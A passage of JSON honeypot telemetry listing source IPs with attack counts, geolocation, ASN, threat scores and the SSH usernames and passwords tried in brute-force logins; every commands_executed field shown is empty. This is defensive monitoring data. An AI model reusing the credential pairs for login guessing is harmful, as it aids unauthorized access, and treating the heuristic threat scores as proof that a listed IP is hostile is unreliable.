      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 15.8,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 19,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T19:26:01.097000+00:00",
        "last_seen_30d": "2026-03-21T00:33:22.302000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 9,
        "Honeytrap": 8,
        "Dionaea": 4
      }
    },
    "222.255.27.220": {
      "attack_count": 8,
      "first_seen": "2026-03-10T23:24:46.385Z",
      "last_seen": "2026-03-10T23:54:24.106Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:24:46.385000+00:00",
        "last_seen_30d": "2026-03-10T23:55:29.817000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "159.203.20.158": {
      "attack_count": 7,
      "first_seen": "2026-03-02T06:51:29.393Z",
      "last_seen": "2026-03-02T06:55:37.955Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:51:29.393000+00:00",
        "last_seen_30d": "2026-03-02T06:56:47.773000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "185.213.154.175": {
      "attack_count": 7,
      "first_seen": "2026-03-18T06:24:10.226Z",
      "last_seen": "2026-03-18T06:35:03.756Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf-space"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 39351,
      "as_org": "31173 Services AB",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T06:24:10.226000+00:00",
        "last_seen_30d": "2026-03-18T06:36:12.582000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "111.38.30.39": {
      "attack_count": 6,
      "first_seen": "2026-03-05T14:20:03.669Z",
      "last_seen": "2026-03-24T04:32:31.170Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hefei",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:20:03.669000+00:00",
        "last_seen_30d": "2026-03-24T04:33:35.055000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "198.235.24.162": {
      "attack_count": 6,
      "first_seen": "2026-03-11T10:04:27.677Z",
      "last_seen": "2026-03-29T03:30:52.048Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T18:33:35.008000+00:00",
        "last_seen_30d": "2026-03-30T04:56:49.201000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 31,
        "Cowrie": 6,
        "Adbhoney": 4,
        "Tanner": 1
      }
    },
    "118.122.147.195": {
      "attack_count": 5,
      "first_seen": "2026-03-13T22:59:12.308Z",
      "last_seen": "2026-03-13T22:59:15.649Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "comunicacao"
      ],
      "passwords_attempted": [
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38283,
      "as_org": "CHINANET SiChuan Telecom Internet Data Center",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T22:59:12.308000+00:00",
        "last_seen_30d": "2026-03-13T23:00:22.093000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "185.220.101.190": {
      "attack_count": 5,
      "first_seen": "2026-03-14T09:17:46.418Z",
      "last_seen": "2026-03-14T09:17:50.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "system"
      ],
      "passwords_attempted": [
        "ZabTharwat@2021Emo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:34:50+00:00",
        "last_seen_30d": "2026-03-14T09:18:58.554000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5,
        "H0neytr4p": 1
      }
    },
    "45.84.107.76": {
      "attack_count": 5,
      "first_seen": "2026-03-04T11:27:59.634Z",
      "last_seen": "2026-03-04T11:28:05.635Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 68.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.6,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:27:47+00:00",
        "last_seen_30d": "2026-03-27T14:02:56.139000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 31,
        "H0neytr4p": 14,
        "Cowrie": 5
      }
    },
    "49.207.244.234": {
      "attack_count": 5,
      "first_seen": "2026-03-12T06:10:06.330Z",
      "last_seen": "2026-03-12T06:10:08.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kk123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T06:10:06.330000+00:00",
        "last_seen_30d": "2026-03-12T06:11:16.701000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "77.90.185.96": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:58:54.683Z",
      "last_seen": "2026-03-06T01:58:57.488Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech2024@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:41:23.410000+00:00",
        "last_seen_30d": "2026-03-06T02:00:01.291000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "100.24.37.81": {
      "attack_count": 4,
      "first_seen": "2026-03-11T00:53:44.504Z",
      "last_seen": "2026-03-11T00:53:50.533Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-11T00:52:26+00:00",
        "last_seen_30d": "2026-03-11T00:54:54.889000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "147.185.132.57": {
      "attack_count": 4,
      "first_seen": "2026-03-29T22:06:22.189Z",
      "last_seen": "2026-03-29T22:06:25.410Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T00:17:31.069000+00:00",
        "last_seen_30d": "2026-03-31T07:14:14.749000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Honeytrap": 43,
        "Cowrie": 4,
        "ConPot": 2,
        "Honeyaml": 2,
        "Dicompot": 1,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "20.65.195.117": {
      "attack_count": 4,
      "first_seen": "2026-03-27T03:51:43.128Z",
      "last_seen": "2026-03-27T03:51:53.653Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 81.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 15.8,
        "persistence": 25,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 30,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T04:40:38.089000+00:00",
        "last_seen_30d": "2026-03-31T16:20:35.057000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 8,
        "Cowrie": 4,
        "Dionaea": 2,
        "Mailoney": 1
      }
    },
    "203.163.241.205": {
      "attack_count": 4,
      "first_seen": "2026-03-09T23:40:43.374Z",
      "last_seen": "2026-03-15T19:51:44.408Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T23:40:43.374000+00:00",
        "last_seen_30d": "2026-03-15T19:52:48.422000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "212.34.111.149": {
      "attack_count": 4,
      "first_seen": "2026-03-17T11:15:34.568Z",
      "last_seen": "2026-03-17T11:15:59.767Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Gus'-Khrustal'nyy",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T11:15:34.568000+00:00",
        "last_seen_30d": "2026-03-17T11:17:03.330000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "222.93.127.249": {
      "attack_count": 4,
      "first_seen": "2026-03-07T00:40:58.085Z",
      "last_seen": "2026-03-07T00:40:58.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:40:58.085000+00:00",
        "last_seen_30d": "2026-03-07T00:40:58.864000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "74.82.47.2": {
      "attack_count": 3,
      "first_seen": "2026-03-12T11:01:00.092Z",
      "last_seen": "2026-03-12T11:01:00.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T14:09:47+00:00",
        "last_seen_30d": "2026-03-31T13:07:50.997000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 191,
        "Honeytrap": 106,
        "Redishoneypot": 22,
        "ConPot": 7,
        "Dionaea": 4,
        "Cowrie": 3,
        "Adbhoney": 2
      }
    },
    "1.34.179.16": {
      "attack_count": 2,
      "first_seen": "2026-03-27T22:54:26.199Z",
      "last_seen": "2026-03-27T22:56:26.203Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhubei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T22:54:26.199000+00:00",
        "last_seen_30d": "2026-03-27T23:06:26.774000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.168.2.106": {
      "attack_count": 2,
      "first_seen": "2026-03-02T04:50:59.107Z",
      "last_seen": "2026-03-02T04:50:59.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:50:59.107000+00:00",
        "last_seen_30d": "2026-03-02T04:51:59.980000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.71.37.107": {
      "attack_count": 2,
      "first_seen": "2026-03-17T21:08:59.551Z",
      "last_seen": "2026-03-17T21:09:12.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T21:08:59.551000+00:00",
        "last_seen_30d": "2026-03-17T21:10:22.139000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.48.57.34": {
      "attack_count": 2,
      "first_seen": "2026-03-26T07:19:00.547Z",
      "last_seen": "2026-03-26T07:19:13.862Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:19:00.547000+00:00",
        "last_seen_30d": "2026-03-26T07:20:22.275000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.244.135.38": {
      "attack_count": 2,
      "first_seen": "2026-03-15T18:04:50.086Z",
      "last_seen": "2026-03-15T18:05:03.397Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Tseung Kwan O",
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:04:50.086000+00:00",
        "last_seen_30d": "2026-03-15T18:06:11.441000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.115": {
      "attack_count": 2,
      "first_seen": "2026-03-04T17:29:43.449Z",
      "last_seen": "2026-03-04T17:30:14.484Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:41:04.472000+00:00",
        "last_seen_30d": "2026-03-31T00:04:47.373000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 28,
        "Mailoney": 5,
        "Cowrie": 2
      }
    },
    "147.185.132.213": {
      "attack_count": 2,
      "first_seen": "2026-03-27T17:23:59.874Z",
      "last_seen": "2026-03-27T17:24:30.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 69.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 25,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T07:43:16.125000+00:00",
        "last_seen_30d": "2026-03-27T17:25:33.680000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 24,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "152.230.186.135": {
      "attack_count": 2,
      "first_seen": "2026-03-15T23:28:00.853Z",
      "last_seen": "2026-03-15T23:28:32.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Huechuraba",
      "asn": 18822,
      "as_org": "Manquehuenet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T23:28:00.853000+00:00",
        "last_seen_30d": "2026-03-15T23:29:41.539000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "154.192.247.150": {
      "attack_count": 2,
      "first_seen": "2026-03-13T22:21:39.301Z",
      "last_seen": "2026-03-13T22:21:54.776Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Peshawar",
      "asn": 23674,
      "as_org": "Nayatel Pvt Ltd",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T22:21:39.301000+00:00",
        "last_seen_30d": "2026-03-13T22:23:01.662000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.64.142.49": {
      "attack_count": 2,
      "first_seen": "2026-03-10T20:35:23.967Z",
      "last_seen": "2026-03-10T20:35:23.968Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
